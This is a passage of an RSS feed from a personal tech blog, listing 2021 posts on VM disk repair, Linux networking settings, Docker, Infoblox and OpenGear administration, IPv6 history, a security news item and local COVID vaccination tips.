      <guid>https://jasonmurray.org/posts/2021/scsi0/</guid>
      <description>&lt;p&gt;After downloading an old version of &lt;a href=&#34;https://information.rapid7.com/download-metasploitable-2017.html&#34;&gt;Metasploitable&lt;/a&gt;, the following error appears when trying to boot:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Failed to power on virtual machine Metasploitable2-Linux. Unsupported or invalid disk type 2 for &amp;#39;scsi0:0&amp;#39;. Ensure that the disk has been imported. Click here for more details. &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To fix the problem, &lt;code&gt;ssh&lt;/code&gt; into the &lt;code&gt;vmware&lt;/code&gt; host and run the command:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vmkfstools -i Metasploitable.vmdk MetasploitableFixed.vmdk&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Full output:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[root@vm02:/vmfs/volumes/5e909c57-02b960e8-e12a-d4ae52a130ac/metasploitable] vmkfstools -i Metasploitable.vmdk MetasploitableFixed.vmdk&#xA;Destination disk format: VMFS zeroedthick&#xA;Cloning disk &amp;#39;Metasploitable.vmdk&amp;#39;...&#xA;Clone: 100% done.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Delete the broken hard disk:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Update Required: zero-day zero-click vulnerability found in Apple iMessage</title>
      <link>https://jasonmurray.org/posts/2021/forcedentry/</link>
      <pubDate>Mon, 13 Sep 2021 10:27:58 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/forcedentry/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://citizenlab.ca/&#34;&gt;Citizens Lab&lt;/a&gt; discovered a vulnerability in the Apple iMessenger application that requires no user interaction to exploit.&lt;/p&gt;&#xA;&lt;p&gt;What does this mean in laymen&amp;rsquo;s terms? It&amp;rsquo;s possible for anyone to send your phone or computer a specially crafted text message which allows them to take over control of your device(s). This includes reading your private messages, viewing your camera, listening to your conversations, or accessing any information stored on or accessed by your device.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Linux Entered the World 30 Years Ago Today</title>
      <link>https://jasonmurray.org/posts/2021/linux30/</link>
      <pubDate>Wed, 25 Aug 2021 16:30:44 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/linux30/</guid>
      <description>&lt;p&gt;On August 25, 1991 Linus Torvalds released Linux to the world with his post on &lt;code&gt;comp.os.minix&lt;/code&gt;.  Today marks the 30 year anniversary.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;  From: torvalds@klaava.Helsinki.FI (Linus Benedict Torvalds)&#xA;  Newsgroups: comp.os.minix&#xA;  Subject: What would you like to see most in minix?&#xA;  Summary: small poll for my new operating system&#xA;  Message-ID:&#xA;  Date: 25 Aug 91 20:57:08 GMT&#xA;  Organization: University of Helsinki&#xA;&#xA;&#xA;  Hello everybody out there using minix -&#xA;&#xA;  I&amp;#39;m doing a (free) operating system (just a hobby, won&amp;#39;t be big and&#xA;  professional like gnu) for 386(486) AT clones.  This has been brewing&#xA;  since april, and is starting to get ready.  I&amp;#39;d like any feedback on&#xA;  things people like/dislike in minix, as my OS resembles it somewhat&#xA;  (same physical layout of the file-system (due to practical reasons)&#xA;  among other things).&#xA;&#xA;  I&amp;#39;ve currently ported bash(1.08) and gcc(1.40), and things seem to work.&#xA;  This implies that I&amp;#39;ll get something practical within a few months, and&#xA;  I&amp;#39;d like to know what features most people would want.  Any suggestions&#xA;  are welcome, but I won&amp;#39;t promise I&amp;#39;ll implement them :-)&#xA;&#xA;                Linus (torvalds@kruuna.helsinki.fi)&#xA;&#xA;  PS.  Yes - it&amp;#39;s free of any minix code, and it has a multi-threaded fs.&#xA;  It is NOT protable (uses 386 task switching etc), and it probably never&#xA;  will support anything other than AT-harddisks, as that&amp;#39;s all I have :-(.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It&amp;rsquo;s amazing to reflect on the impact this post has on modern computing. I owe my entire career to Linus, if he didn&amp;rsquo;t create Linux I may not have entered the systems engineering field.  The world would not be reading this message I wrote in &lt;code&gt;markdown&lt;/code&gt;, checked into a &lt;code&gt;git&lt;/code&gt; repository, &lt;code&gt;rsynced&lt;/code&gt; to a &lt;code&gt;Debian&lt;/code&gt; server, and rendered on an &lt;code&gt;nginx&lt;/code&gt; web server, to be displayed by people running open protocol web browsers.&lt;/p&gt;</description>
    </item>
    <item>
      <title>TCP Congestion Control Algorithms in Linux</title>
      <link>https://jasonmurray.org/posts/2021/tcpcca/</link>
      <pubDate>Fri, 20 Aug 2021 13:02:18 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/tcpcca/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;How to check and set TCP congestion control algorithms (CCA) in Linux.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;h2 id=&#34;check-current-caa&#34;&gt;Check Current CAA&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sysctl net.ipv4.tcp_congestion_control&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Output Example:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@home-server:~$ sysctl net.ipv4.tcp_congestion_control&#xA;net.ipv4.tcp_congestion_control = cubic&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;view-available-ccas&#34;&gt;View Available CCAs&lt;/h2&gt;&#xA;&lt;p&gt;Check for the default CCAs in Ubuntu:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sysctl net.ipv4.tcp_available_congestion_control&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Output Example:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@home-server:~$ sysctl net.ipv4.tcp_available_congestion_control&#xA;net.ipv4.tcp_available_congestion_control = reno cubic&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;load-additional-modules&#34;&gt;Load Additional Modules&lt;/h2&gt;&#xA;&lt;p&gt;Linux has quite a few different CCAs available: &lt;a href=&#34;https://en.wikipedia.org/wiki/TCP_congestion_control&#34;&gt;https://en.wikipedia.org/wiki/TCP_congestion_control&lt;/a&gt; - Not all are loaded in the kernel by default.&lt;/p&gt;&#xA;&lt;p&gt;List installed, but not necessarily loaded CCAs:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Headless X Session with x11vnc</title>
      <link>https://jasonmurray.org/posts/2021/x11vnc/</link>
      <pubDate>Mon, 16 Aug 2021 14:47:49 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/x11vnc/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;It&amp;rsquo;s possible to securely run graphical workloads on headless remote Linux servers using &lt;code&gt;x11vnc&lt;/code&gt;, &lt;code&gt;ssh&lt;/code&gt;, and &lt;code&gt;xvfb&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h1 id=&#34;configuration&#34;&gt;Configuration&lt;/h1&gt;&#xA;&lt;h2 id=&#34;install-software&#34;&gt;Install Software&lt;/h2&gt;&#xA;&lt;p&gt;In this example, the software is installed on a stock Ubuntu server.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;x11vnc: The server creating the X11 session&lt;/li&gt;&#xA;&lt;li&gt;xvfb: The virtual frame buffer for headless systems&lt;/li&gt;&#xA;&lt;li&gt;fluxbox: Lightweight window manager&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install x11vnc xvfb fluxbox&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;setup-vnc-server&#34;&gt;Setup VNC Server&lt;/h2&gt;&#xA;&lt;p&gt;VNC does not encrypt traffic by default. To securely connect, we wrap the VNC session in a port forwarded &lt;code&gt;ssh&lt;/code&gt; tunnel. To simplify the process, the following one-line command will setup a &lt;code&gt;ssh&lt;/code&gt; tunnel, start the &lt;code&gt;x11vnc&lt;/code&gt; server with &lt;code&gt;xvfb&lt;/code&gt;, and setup the &lt;code&gt;fluxbox&lt;/code&gt; windows manager:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Creating a Python Development Environment using Docker</title>
      <link>https://jasonmurray.org/posts/2021/dockerpythonenv/</link>
      <pubDate>Sat, 14 Aug 2021 23:07:27 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/dockerpythonenv/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Create a standalone development environment with the latest version of Python using docker.&lt;/p&gt;&#xA;&lt;p&gt;In this example, we are running macOS 11.5.1:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@phalanges:~/foo $ sw_vers&#xA;ProductName:&#x9;macOS&#xA;ProductVersion:&#x9;11.5.1&#xA;BuildVersion:&#x9;20G80&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Which has Python 3.8.2:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@phalanges:~ $ /usr/bin/python3 --version&#xA;Python 3.8.2&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With &lt;code&gt;docker&lt;/code&gt; we can install the latest version of Python in an isolated container without affecting the operating system and possibly breaking a core system function.&lt;/p&gt;&#xA;&lt;h1 id=&#34;examples&#34;&gt;Examples&lt;/h1&gt;&#xA;&lt;p&gt;Run an interactive Python environment using the lightweight &lt;code&gt;Alpine Linux&lt;/code&gt; base image:&lt;/p&gt;</description>
    </item>
    <item>
      <title>macOS coreaudiod high CPU utilization with Firefox or Chrome</title>
      <link>https://jasonmurray.org/posts/2021/coreaudiod/</link>
      <pubDate>Tue, 27 Jul 2021 16:49:34 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/coreaudiod/</guid>
      <description>&lt;p&gt;For weeks the fans in my MacbookPro 15&amp;quot; laptop have been running at full speed, the aluminum case is hot to the touch, and the battery hardly lasts for more then a few hours.&lt;/p&gt;&#xA;&lt;p&gt;While searching for the culprit, I regularly notice the process &lt;code&gt;coreaudiod&lt;/code&gt; is using between 10 and 20 percent of the cpu.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;_coreaudiod      96616   17.4  0.1  6098756  30144   ??  Ss   13Jul21 1679:26.11 /usr/sbin/coreaudiod&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Using &lt;code&gt;lsof&lt;/code&gt;, we can narrow down what processes are utilizing the &lt;code&gt;coreaudiod&lt;/code&gt; services:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Ten Year Anniversary of IPv6 at WashU</title>
      <link>https://jasonmurray.org/posts/2021/ipv610yranniversary/</link>
      <pubDate>Wed, 26 May 2021 07:53:43 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/ipv610yranniversary/</guid>
      <description>&lt;p&gt;Ten years ago today (May 26, 2011), I enabled IPv6 on the &lt;a href=&#34;https://wustl.edu/&#34;&gt;WashU&lt;/a&gt; edge, core, and DNS infrastructure.&lt;/p&gt;&#xA;&lt;p&gt;Here is the first IPv6 DNS packet to traverse the IPv6 stack (I know, it does not return an IPv6 answer, we had to start somewhere&amp;hellip;):&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@phalanges:~/ipv6 $ cat first-dns-query.txt&#xA;May 26 2011 7:50AM CDT&#xA;&#xA;&#xA;unicast&#xA;============&#xA;jemurray@kimber:~ $ dig @2604:3e00:0:4::1 wustl.edu&#xA;&#xA;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.6.0-APPLE-P2 &amp;lt;&amp;lt;&amp;gt;&amp;gt; @2604:3e00:0:4::1 wustl.edu&#xA;; (1 server found)&#xA;;; global options: +cmd&#xA;;; Got answer:&#xA;;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 10359&#xA;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0&#xA;&#xA;;; QUESTION SECTION:&#xA;;wustl.edu.&#x9;&#x9;&#x9;IN&#x9;A&#xA;&#xA;;; ANSWER SECTION:&#xA;wustl.edu.&#x9;&#x9;3600&#x9;IN&#x9;A&#x9;128.252.73.216&#xA;&#xA;;; Query time: 21 msec&#xA;;; SERVER: 2604:3e00:0:4::1#53(2604:3e00:0:4::1)&#xA;;; WHEN: Thu May 26 07:36:28 2011&#xA;;; MSG SIZE  rcvd: 43&#xA;&#xA;&#xA;&#xA;&#xA;Anycast&#xA;============&#xA;&#xA;jemurray@kimber:~ $ dig @2604:3e00::1 wustl.edu&#xA;&#xA;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.6.0-APPLE-P2 &amp;lt;&amp;lt;&amp;gt;&amp;gt; @2604:3e00::1 wustl.edu&#xA;; (1 server found)&#xA;;; global options: +cmd&#xA;;; Got answer:&#xA;;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 62345&#xA;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0&#xA;&#xA;;; QUESTION SECTION:&#xA;;wustl.edu.&#x9;&#x9;&#x9;IN&#x9;A&#xA;&#xA;;; ANSWER SECTION:&#xA;wustl.edu.&#x9;&#x9;3600&#x9;IN&#x9;A&#x9;128.252.73.216&#xA;&#xA;;; Query time: 18 msec&#xA;;; SERVER: 2604:3e00::1#53(2604:3e00::1)&#xA;;; WHEN: Thu May 26 07:53:43 2011&#xA;;; MSG SIZE  rcvd: 43&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Maintain a persistent IRC connection with ZNC (Debian), LimeChat (macOS), and Palaver (iOS)</title>
      <link>https://jasonmurray.org/posts/2021/znc/</link>
      <pubDate>Tue, 04 May 2021 16:23:41 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/znc/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Prior to Slack, Teams, iMessage, Discord, WeChat, Signal, and the &lt;a href=&#34;https://en.wikipedia.org/wiki/Messaging_apps&#34;&gt;plethora&lt;/a&gt; of communication platforms, we had &lt;a href=&#34;https://en.wikipedia.org/wiki/Internet_Relay_Chat&#34;&gt;IRC&lt;/a&gt;. Unlike todays crop of chat networks, &lt;a href=&#34;https://tools.ietf.org/html/rfc1459&#34;&gt;IRC is built on top of an open communication protocol&lt;/a&gt;. These open standards facilitate innovation by allowing developers to design &lt;a href=&#34;https://en.wikipedia.org/wiki/Comparison_of_Internet_Relay_Chat_clients&#34;&gt;clients&lt;/a&gt; to meet the needs of their users, move data between providers, and gain a deeper understanding of data management, without being encumbered by proprietary platforms.&lt;/p&gt;&#xA;&lt;p&gt;IRC is a real time communication platform, it struggles with persistent chat history or seemless support of stateful simultaneous clients (ie. mobile and desktop). I would be amiss to ignore over this glaring gap in functionality many of the more predominate clients of today offer. IRC is still under &lt;a href=&#34;https://ircv3.net/wg&#34;&gt;active development&lt;/a&gt;. Enhancements under the  &lt;a href=&#34;https://ircv3.net/irc/&#34;&gt;IRCv3&lt;/a&gt; working group are adding features like &lt;a href=&#34;https://ircv3.net/specs/extensions/chathistory&#34;&gt;chat history&lt;/a&gt; and &lt;a href=&#34;https://ircv3.net/specs/extensions/server-time&#34;&gt;server time&lt;/a&gt; to facilitate more robust persistence and history features.&lt;/p&gt;</description>
    </item>
    <item>
      <title>pip search fails with the error: xmlrpc.client.Fault</title>
      <link>https://jasonmurray.org/posts/2021/pipsearch/</link>
      <pubDate>Thu, 22 Apr 2021 08:50:48 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/pipsearch/</guid>
      <description>&lt;p&gt;According to this &lt;a href=&#34;https://github.com/pypa/pip/issues/5216&#34;&gt;GitHub issues thread&lt;/a&gt; the PyPi maintainers disabled the &lt;code&gt;pip search&lt;/code&gt; API due to overwhelming the servers with search queries.&lt;/p&gt;&#xA;&lt;p&gt;This behavior is replicated on a RedHat 8 server using the &lt;code&gt;pip3 search&lt;/code&gt; command:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[jemurray@unix-host ~]$ pip3 search rdiff-backup&#xA;Exception:&#xA;Traceback (most recent call last):&#xA;  File &amp;#34;/usr/lib/python3.6/site-packages/pip/basecommand.py&amp;#34;, line 215, in main&#xA;    status = self.run(options, args)&#xA;  File &amp;#34;/usr/lib/python3.6/site-packages/pip/commands/search.py&amp;#34;, line 45, in run&#xA;    pypi_hits = self.search(query, options)&#xA;  File &amp;#34;/usr/lib/python3.6/site-packages/pip/commands/search.py&amp;#34;, line 62, in search&#xA;    hits = pypi.search({&amp;#39;name&amp;#39;: query, &amp;#39;summary&amp;#39;: query}, &amp;#39;or&amp;#39;)&#xA;  File &amp;#34;/usr/lib64/python3.6/xmlrpc/client.py&amp;#34;, line 1112, in __call__&#xA;    return self.__send(self.__name, args)&#xA;  File &amp;#34;/usr/lib64/python3.6/xmlrpc/client.py&amp;#34;, line 1452, in __request&#xA;    verbose=self.__verbose&#xA;  File &amp;#34;/usr/lib/python3.6/site-packages/pip/download.py&amp;#34;, line 779, in request&#xA;    return self.parse_response(response.raw)&#xA;  File &amp;#34;/usr/lib64/python3.6/xmlrpc/client.py&amp;#34;, line 1342, in parse_response&#xA;    return u.close()&#xA;  File &amp;#34;/usr/lib64/python3.6/xmlrpc/client.py&amp;#34;, line 656, in close&#xA;    raise Fault(**self._stack[0])&#xA;xmlrpc.client.Fault: &amp;lt;Fault -32500: &amp;#34;RuntimeError: PyPI&amp;#39;s XMLRPC API is currently disabled due to unmanageable load and will be deprecated in the near future. See https://status.python.org/ for more information.&amp;#34;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Use the &lt;code&gt;pip-search&lt;/code&gt; command as an alternative.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Domain redirection with AWS S3 buckets and Route 53 DNS</title>
      <link>https://jasonmurray.org/posts/2021/s3redirect/</link>
      <pubDate>Wed, 21 Apr 2021 06:44:30 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/s3redirect/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;This guide walks though the steps required to redirect web requests for a domain such as &lt;code&gt;http://example.com/&lt;/code&gt; to &lt;code&gt;http://example.org&lt;/code&gt; using AWS S3 buckets and Route 53 DNS services.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;Create a new S3 bucket:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-04-21-08-44-55.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-04-21-08-44-55.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Create the bucket with the exact name of the website to redirect. In this example the domain name is &lt;code&gt;bsa957.org&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-04-21-08-46-23.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-04-21-08-46-23.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enable public access by unchecking the &lt;code&gt;Block All Public Access&lt;/code&gt; option:&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to generate and use temporary licenses on an Infoblox appliance</title>
      <link>https://jasonmurray.org/posts/2021/infobloxlablicense/</link>
      <pubDate>Sun, 18 Apr 2021 06:54:04 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/infobloxlablicense/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;For lab use, Infoblox offers 60 day temporary licenses. When the the trial period is over, use the &lt;code&gt;reset all licenses&lt;/code&gt; command to reset the timer for another 60 days. But wait, it can&amp;rsquo;t be that easy? There is a downside to resetting the licenses, all settings and configurations are wiped out at the same time. Rebuilding a production system every 60 days is not very practical, but for a lab it is OK.&lt;/p&gt;</description>
    </item>
    <item>
      <title>One Year Later: 365 Consecutive Blog Posts</title>
      <link>https://jasonmurray.org/posts/2021/oneyear/</link>
      <pubDate>Sat, 17 Apr 2021 17:22:08 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/oneyear/</guid>
      <description>&lt;h2 id=&#34;365th-post&#34;&gt;365th Post!&lt;/h2&gt;&#xA;&lt;p&gt;Today marks the 365th consecutive post on this blog since April 17, 2020. One year ago, I set a goal to write something new at least once a day for an entire year. While it has been fun to share, I can’t continue at this pace. The amount of effort required to find, research, write, and proofread, is taking up too much of my time. There are days when a post takes 15 minutes, and others where I spend 3+ hours writing. I believe on average I am putting in at least 1 hour per day. Moving forward, I am going to cut back in order to spend more time on side projects and put more effort into the posts I create.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Enable SSH on Infoblox Appliances</title>
      <link>https://jasonmurray.org/posts/2021/infobloxremoteconsole/</link>
      <pubDate>Fri, 16 Apr 2021 14:46:41 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/infobloxremoteconsole/</guid>
      <description>&lt;p&gt;By default &lt;code&gt;ssh&lt;/code&gt; console access to an Infoblox appliance is disabled. To enable, from the serial console execute:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;set remote_console&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Full output:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Infoblox &amp;gt; set remote_console&#xA;Enable remote console access (grid-level)? (y or n): y&#xA;&#xA; New Remote Console Access Settings:&#xA;    Remote Console access enabled: Yes&#xA;        is this correct? (y or n):  y&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note: It takes a few minutes for &lt;code&gt;ssh&lt;/code&gt; to start.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;ssh&lt;/code&gt; into the system:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@phalanges:~ $ ssh admin@192.168.86.15&#xA;&#xA;&#xA;Disconnect NOW if you have not been expressly authorized to use this system.&#xA;admin@192.168.86.15&amp;#39;s password:&#xA;&#xA;&#xA;               Infoblox NIOS Release 8.5.1-397728 (64bit)&#xA;     Copyright (c) 1999-2020 Infoblox Inc. All Rights Reserved.&#xA;&#xA;                   type &amp;#39;help&amp;#39; for more information&#xA;&#xA;&#xA;Infoblox &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Configure an OpenGear serial port from the CLI</title>
      <link>https://jasonmurray.org/posts/2021/opengearcli/</link>
      <pubDate>Thu, 15 Apr 2021 09:24:30 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/opengearcli/</guid>
      <description>&lt;p&gt;&lt;code&gt;ssh&lt;/code&gt; into the serial console:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@bastion-host:~$ ssh opengear-console.example.com&#xA;Password:&#xA;$&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Use the &lt;code&gt;config&lt;/code&gt; command to change settings (example options):&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ config&#xA;&#xA;usage: config [ -ahv ] [ -d id ] [ -g id ] [ -p path ] [ -r configurator ] [ -s id=value ] [ -P id ]&#xA; -a --run-all&#x9;&#x9;Run all registered configurators.&#xA; -h --help&#x9;&#x9;Display this message.&#xA; -v --verbose&#x9;&#x9;Log extra debug info.&#xA; -T --trace&#x9;&#x9;Log extra trace info.&#xA; -d --del=id&#x9;&#x9;Remove the given config element.&#xA; -g --get=id&#x9;&#x9;Display the value of a config element.&#xA; -p --path&#x9;&#x9;Use an alternate config file.&#xA; -r --run=configurator&#x9;Run the specified registered configurator.&#xA; -s --set=id=value&#x9;Change the value of config element.&#xA; -e --export=file&#x9;Save active configuration to file.&#xA; -i --import=file&#x9;Load configuration from file.&#xA; -t --test-import=file&#x9;Pretend to load configuration from file.&#xA; -I --strict-import=file&#x9;Load configuration from file only if vendor and product are correct.&#xA; -S --separator=char&#x9;The pattern to separate fields with, default is &amp;#39;.&amp;#39;.&#xA; -P --password=id&#x9;Prompt for a user password, encrypt it, then save it in &amp;#39;id&amp;#39;.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Display settings on &lt;code&gt;port 33&lt;/code&gt;:&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to receive a free COVID-19 vaccination without an appointment in the St. Louis Missouri area</title>
      <link>https://jasonmurray.org/posts/2021/americacentercovid/</link>
      <pubDate>Wed, 14 Apr 2021 16:55:52 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/americacentercovid/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Missouri is offering COVID-19 vaccines to all individuals over the age of 16. To accommodate the influx of people, the city of St. Louis setup a mass vaccination center at the &lt;a href=&#34;https://explorestlouis.com/meetings-conventions/dome-at-americas-center/&#34;&gt;America&amp;rsquo;s Center Dome&lt;/a&gt;. While preregistering through the &lt;a href=&#34;https://covidvaccine.mo.gov/navigator/&#34;&gt;Missouri Vaccine Navigator&lt;/a&gt; or by calling 877-435-8411 is recommended, walk-ups are welcome from 8AM to 6PM 7 days a week.&lt;/p&gt;&#xA;&lt;p&gt;My wife and &lt;a href=&#34;https://jasonmurray.org/posts/2021/allisonpfizer/&#34;&gt;daughter&lt;/a&gt; received their vaccines from this location on two separate occasions. While both visits went without any significant issues, finding specific information, a place to park, and the entrance may be confusing to some.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Link packet capture in Cisco Modeling Lab</title>
      <link>https://jasonmurray.org/posts/2021/cmlcapture/</link>
      <pubDate>Tue, 13 Apr 2021 15:46:54 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/cmlcapture/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;To inspect network traffic on the wire, Cisco Modeling Lab provides a native packet capture interface. This feature enables packet analysis without configuring the more complicated span port and capture device.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;Click the router link, then &lt;code&gt;start&lt;/code&gt;, to enable a packet capture:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-04-13-15-49-01.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-04-13-15-49-01.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;A spinning box and &lt;code&gt;Waiting for packets...&lt;/code&gt; appears:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-04-13-15-58-07.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-04-13-15-58-07.png&#34; alt=&#34;Image of 